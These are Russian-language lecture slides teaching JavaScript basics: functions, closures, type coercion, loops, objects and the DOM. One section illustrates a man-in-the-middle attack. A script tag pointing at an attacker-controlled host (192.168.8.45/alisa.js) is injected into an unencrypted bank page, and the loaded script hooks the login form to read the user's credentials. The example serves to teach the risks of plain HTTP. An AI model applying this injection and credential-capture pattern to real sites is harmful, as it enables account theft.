JavaScript


два часа теории перед
практическими занятиями


Клиначев Николай Васильевич

[Home] [←] [PgUp]  [Esc] [Space]  [PgDn] [→] [End]

Объявление функции

function myFunc () {
    // тело функции
}

Объявление переменной
и присвоение ей функции

var myFunc = function () {
    // тело функции
};

Вызов функции (скобками)

// Присвоим функцию ...
// ... новой переменной

var myFunc2 = myFunc;

// Присвоим переменной ...
// ... результат вызова функции
var rezult = myFunc2();

// Скобки реализуют вызов функции

Крутой компилятор JavaScript

60..90% JavaScript-кода библиотек ни когда не вызывается и даже не транслируется. Но можно изменить приоритет исполнения (скобками) и заставить компилятор создать исполняемый код:

( function myFunc() {
    // тело функции
} );

Если функция будет вызвана лишь
один раз, то зачем ей имя?

// Анонимная функция
(function () {
    console.log(2 + 2);
})();

/* Первая пара скобок – это
   приоритет действий – функция
   компилируется при объявлении (сразу).
   Последние скобки – вызов функции   */

Функция с эффектом памяти
(со статическими переменными)

// Интегратор с начальным условием ...
var myIntFunc = (function (IC, dT) {
    var z = +0; // создаёт эффект памяти
    return function (x) {
        z += x * dT; // метод Эйлера
        return z + IC;
    };
})(+10, 0.01);

// Результат вызова зависит от аргументов,
// с которыми функция myIntFunc(x) вызывалась ранее

Внедрение JavaScript-программы
в веб-страницу

<!DOCTYPE html>
<html>
  <head>
  <meta charset="utf-8">
    <script>
    window.onload = function () {
      document.getElementById("EL1").textContent = "Ура!";
    };
    </script>
  </head>
  <body>
    <p id="EL1"></p>
  </body>
</html>

Для программы юного пионера
подойдет window.onload

window.onload = function () {
  document.getElementById("EL1").textContent += "Ура 1!";
}; // Это 1-ая программа подключенная к документу

window.onload = function () {
  document.getElementById("EL1").textContent += "Ура 2!";
}; // Это 2-ая программа подключенная к документу
В теге
               <p id="EL1">        </p>
Получим лишь                Ура 2!

Подключение нескольких программ

(function () {
  function doOnLoad() {
    document.getElementById("EL1").textContent += "Ура 1!";
  }
  window.addEventListener("load", doOnLoad, false);
}());

(function () {
  function doOnLoad() {
    document.getElementById("EL1").textContent += " Ура 2!";
  }
  window.addEventListener("load", doOnLoad, false);
}());
В теге   <p id="EL1"> </p>   получим  Ура 1! Ура 2!

Размещение JavaScript-кода
в отдельном файле. Или сказ
о том, как Алиса взломала
интернет-банк Боба

Бесплатный WiFi у Алисы

  • Алиса "забыла" установить пароль на точку доступа к Интернету в своей квартире
  • Боб бесплатно подключился к точке доступа в квартире соседки Алисы
  • Интернет-банк Боба не включил шифрование https://bobs.bank.com
  • Алиса, перехватывая трафик, дождалась, когда Боб запросил страницу банка

Алиса добавила строку к документу банка запрошенного Бобом

<!DOCTYPE html>
<html>
  <head>
    <title>Интернет банк Боба</title>
    <script src="http://192.168.8.45/alisa.js"></script>
  </head>
  <body>
    <input id="Login" type="text">
    <input id="PWD" type="password">
  </body>
</html>

Алиса запустила web-сервер на компьютере 192.168.8.45 в своей сети выдающий скрипт alisa.js

(function() {
  function doOnLoad() {
      document.forms[0].onsubmit = function() {
      // Алиса получила логин и пароль Боба
      var bobsLGN = document
          .getElementById("Login").textContent;
      var bobsPSW = document
          .getElementById("PWD").textContent;
    }
  }
  window.addEventListener("load", doOnLoad, false);
}());

Добро пожаловать в интернет-банки подключающие к своим страницам скрипты сетевой аналитики !

https://api-maps.yandex.ru/2.1.59/map.js https://www.google-analytics.com/analytics.js

Заметьте, тут даже если банк включит шифрование (https) скрипты аналитики все равно получат все, что хотят. В их лицензионном соглашении написано:

"думай сам что делаешь …"

JavaScript – нетипизированный язык. Но компиляторы для этого языка очень даже типизированные


Наврал, но пока буду объяснять: статическую / динамическую, сильную / слабую, явную / неявную, и безтиповую типизации, – стандарт языка изменится

Приведение типов или как подсказать компилятору тип данных

Всегда действуем по правилу. Если что-то похоже на целое число, если в отношении этого чего-то определено действие, которое возможно лишь для целого числа, то это нечто и есть целое число. И наступит типизированное счастье в нетипизированном JavaScript-е без особых затрат и напряжения.

Типы данных компиляторов JavaScript

  • Логический (boolean)
  • Целое число со знаком (int32)
  • Целое число без знака (unsigned int32)
  • Число с плавающей точкой (double)
  • Строка (string)
  • object, function, number, undefined

Приведение к int32

// Семь металлов создал Свет
// По числу семи планет ...

var numberOfPlanets = 9 | 0;

/* Бинарную операцию «ИЛИ» нет
   смысла применять: к строкам,
   к числам с плавающей точкой,
   к значениям ИСТИНА  и  ЛОЖЬ.
   Остается лишь целый тип данных */

Приведение к double

var temperatureOfBody = +"36.6";
var freezingOfH2O = +0;
0 === +false;                   // true
1 === +true;                    // true
1 === Number(true);             // true

/* Унарная операция смены знака
   + или - в отношении строки или
   логического типа не имеет смысла.
   Поэтому компилятор приводит тип
   минимизируя потери – не к int а к double */

Приведение к unsigned int32

(-1 >>  0); // double (-1.0) к int32 (-1)
// Переведём число -1 в двоичную систему
(-1 >>  0).toString(2) === "-1";
(-1 >>> 0).toString(2) ===
    "11111111111111111111111111111111";

/* Оператор >>> это двоичный сдвиг без
   учета знака. Сдвиг на 0 разрядов не
   меняет значения числа, но вынуждает
   компилятор преобразовать его тип */

Приведение к boolean

var isAllPresent = true;
var isAnyIll = !isAllPresent;   // false
var isNumberZero = !Math.PI;    // false
var isStringNull = !"Будет false";
var isHandleNull = !window.onload;
true  === !0;                   // true
false === !1;                   // true

/* Результат логической операции "НЕ"
   может быть лишь ИСТИНОЙ или ЛОЖЬЮ.
   Компилятор создаст переменную – boolean */

Приведение к String

"" + 3 === "3";                 // true
String(3) === "3";              // true
(3).toString() === "3";         // true
3..toString(2) === "11";        // true
false.toString() === "false";   // true
[1, 2].toString() === "1,2";    // true

"==" – оператор сравнения для ленивых (с приведением типов)

/* Компилятор, мы тут чего-то
   напрограммировали. Нам лень.
   Ты ж умный, проверь, а ?  */

0 == false;   // true
0 == [];      // true пустой массив
0 == "";      // true пустая строка
1 == "01";    // true parseInt("01")
"" == false;          // true
null == undefined;    // true

"===" – оператор строгого сравнения (без приведения типов)

0 !== false;                // true
0 === "".length;            // true
1 === parseInt("01", 10);   // true
2 === [,1].length;          // true
[,1][0] === undefined;      // true
[,1][1] !== undefined;      // true
(1 / 0) === Infinity;       // true
isNaN(parseInt("22", 2));   // true

Инкрементирование / декрементирование переменной

var i = 0 | 0;      // === 0
i = i + 1;          // === 1
i = i - 1;          // === 0
i += 1;             // === 1
i -= 1;             // === 0
console.log(i++);   // В консоли: 0, но === 1
console.log(i--);   // В консоли: 1, но === 0
console.log(++i);   // В консоли: 1, но === 1
console.log(--i);   // В консоли: 0, но === 0
// ++ и -- не рекомендуются к применению
// Используйте i += 1

Ветвление. Конструкции if

var phi = 2 * Math.PI; // ..

if (phi > +Math.PI) { phi -= 2 * Math.PI; }
if (phi < -Math.PI) { phi += 2 * Math.PI; }

// или по шаблону:  x = (условие) ? 1 : 0;

phi += (phi > +Math.PI) ? -2 * Math.PI :
       (phi < -Math.PI) ? +2 * Math.PI : 0;

Ветвление. Конструкция switch

var ixOfPlanet = 0 | 0, iLiveOnThePlanet = "Земля";

switch (iLiveOnThePlanet) {
    case "Меркурий" : { ixOfPlanet = 1; } break;
    case "Венера"   : { ixOfPlanet = 2; } break;
    case "Земля"    : { ixOfPlanet = 3; } break;
    case "Марс"     : { ixOfPlanet = 4; } break;
    default         : { ixOfPlanet = 5; }
}

Цикл for

var hardware = ["Гайка", "Болт", "Шпилька", "Винт"];
var i = 0 | 0;
for (i = 0; i < hardware.length; i += 1) {
    console.log((i + 1) + ": " + hardware[i]);
}
// Примечание.
// Умные дядьки не рекомендуют цикл for. Говорят:
// Мужик, не держись за старое – перебирающие
// методы лучше:
//      forEach, filter, every/some,
//      map, reduce/reduceRight
// Но всякая профессия – заговор против
// непосвященного. Цикл for – самый
// наглядный и универсальный. Используйте

Цикл while

var hardware = ["Гайка", "Болт", "Шпилька", "Винт"];

var i = 0 | 0, hL = hardware.length;

while (i < hL)
{
    console.log((i + 1) + ": " + hardware[i]);
    i += 1;
}

Цикл do..while

var hardware = ["Гайка", "Болт", "Шпилька", "Винт"];

var i = 0 | 0;

do
{
    console.log((i + 1) + ": " + hardware[i]);
    i += 1;
}
while (i < hardware.length);

Цикл for..in

// Цикл for..in не оптимален для перебора массивов

var hardware = ["Гайка", "Болт", "Шпилька", "Винт"];

var i;  // Будет текстом "0", "1", "2", ...

for (i in hardware)
{
    console.log((+i + 1) + ": " + hardware[+i]);
}

Цикл for..in

var database = [
    { "ФИО"         : "Иванов И.И.",
      "Зарплата"    : 12000,
      "ДатаДела"    : "2004-06-01" },
    { "ФИО"         : "Петров В.С.",
      "Зарплата"    : 21000,
      "ДатаДела"    : "1990-04-20" }
];
var i = 0 | 0, entry, field;
for (i = 0; i < database.length; i += 1) {
    entry = database[i];
    for (field in entry) {
        console.log(field + ": " + entry[field]);
    }
    console.log("############");
}

Оператор continue

var hardware = ["Гайка", "Болт", "Шпилька", "Винт"];
var i = 0 | 0, iL = 0 | 0;
do {
    iL = hardware[i].length;
    if ("а" === hardware[i][iL - 1]) {
        continue; // Используем этот оператор ..
    }
    // Не заставляем думать, что делает код ниже
    console.log((i + 1) + ": " + hardware[i]);
    // И отступов в структурах if будет меньше
} while (i += 1, i < hardware.length);

Оператор break

var hardware = ["Гайка", "Болт", "Шпилька", "Винт"];
var i = 0 | 0, iL = 0 | 0;
do {
    iL = hardware[i].length;
    if ("т" === hardware[i][iL - 1]) {
        break; // Используем этот оператор ..
    }
    // Не заставляем думать, что делает код ниже
    console.log((i + 1) + ": " + hardware[i]);
    // И отступов в структурах if будет меньше
    i += 1;
} while (i < hardware.length);

Объекты и доступ к полям

// Объект это группа полей (переменных),
// методов (функций) или других объектов

var obj = { a: 2, b: 3, c: "a + b = " };

console.log(obj.c + (obj.a + obj.b));

obj.c = "a * b = ";
console.log(obj.c + (obj.a * obj.b));

Объекты браузера организованы в дерево (информационная структура)

document;                     // документ
document.head.style;          // стили
document.body;                // тело док.
document.body.childNodes;     // теги
document.body.childNodes[0];  // H1 обычно
document.body.childNodes.length;
document.body.childNodes[0].tagName;
document.body.childNodes[2]
    .childNodes.length;  // вложенные теги

Замыкания. Модули. Программа
пользователя – обратное дерево

var myHandle = { a: 2, b: 2, c: "(c) Автор" };
                       // .. три ветви в дереве
myHandle = (function (mH) {
    console.log(mH);   // исходный объект
    return { a: mH.a * mH.b, b: mH.c };
}(myHandle));          // закрыли одну ветвь

myHandle = (function (mH) {
    console.log(mH);   // { a: 4, b: "(c) Автор" }
    return mH.b;       // закрыли другую ветвь
}(myHandle));

console.log(myHandle); // осталось "(c) Автор"

Инструменты

Литература

Что делать, как жить?


Скачиваем задания к лабораторным работам и выполняем: model.exponenta.ru/inf/JavaScript.zip


24.09.2018